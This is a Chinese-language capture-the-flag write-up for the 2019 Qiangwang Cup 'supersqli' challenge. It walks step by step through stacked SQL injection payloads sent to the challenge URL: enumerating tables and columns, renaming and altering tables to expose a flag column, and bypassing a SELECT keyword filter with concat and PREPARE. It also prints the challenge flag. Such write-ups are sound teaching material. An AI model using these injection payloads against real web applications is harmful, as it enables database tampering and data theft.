supersqli–堆叠注入【强网杯2019】
查看源代码
有提到sqlmap
用sqlmap扫一扫试一试
只爆出supersqli
回到题目发现有过滤关键字
order by 判断只有两个字段
把绕过的方法挨个试了一遍,发现可以堆叠注入,查出两个表名,但是不能select,关键字过滤了
也可以是1’;show tables;#
把两个表里的列爆出
先来第一个表1919810931114514
http://111.198.29.45:39533/?inject=2’;show columns from 1919810931114514
;–+
(字符串为表名进行操作时要加反引号)
在一串数字的表里见到了flag列,flag可能在里面。
http://111.198.29.45:39533/?inject=2’;show columns from words
;–+
查询words表
百度了一下
在words表里发现结构id与查询的出的数据类型相同,一个数字,一个字符串,可以看出默认查询的就是words表,inject值应该赋给了id。
思路:
页面默认查的是words表,将1919810931114514的表名和words交换
发现并没有过滤rename和alter等,所以我们可改变表的结构。
构造语句
1’;RENAME TABLE words
TO words1
;RENAME TABLE 1919810931114514
TO words
;ALTER TABLE words
CHANGE flag
id
VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
先把words表名改为其他名,再吧1919810931114514表名改为words,但是其中还缺少id列,因此可以添加一个id列或者吧flag改为id,这样这个表就成为了默认查询表
CHARACTER SET utf8:数据库字符集。设置数据库的默认编码为utf8
COLLATE utf8_general_ci:数据库校对规则。ci是case insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感;还有一种是utf8_bin,是将字符串中的每一个字符用二进制数据存储,区分大小写。
1’ or ‘1’='1
查询flag
flag{c168d583ed0d4d7196967b28cbd0b5e9}
https://blog.csdn.net/cherish_2012/article/details/38347507 rename函数
https://blog.csdn.net/qq_38967578/article/details/80875939 SQL alter操作
还发现一种方法就是用mysql预处理
1’;use supersqli;set @sql=concat(‘s’,'elect * from 1919810931114514
');PREPARE pre FROM @sql;EXECUTE pre;–+
用concat连接绕过了关键字的检查
flag{c168d583ed0d4d7196967b28cbd0b5e9}
得到flag
https://blog.csdn.net/qq_42030417/article/details/80372800 理解Mysql prepare预处理语句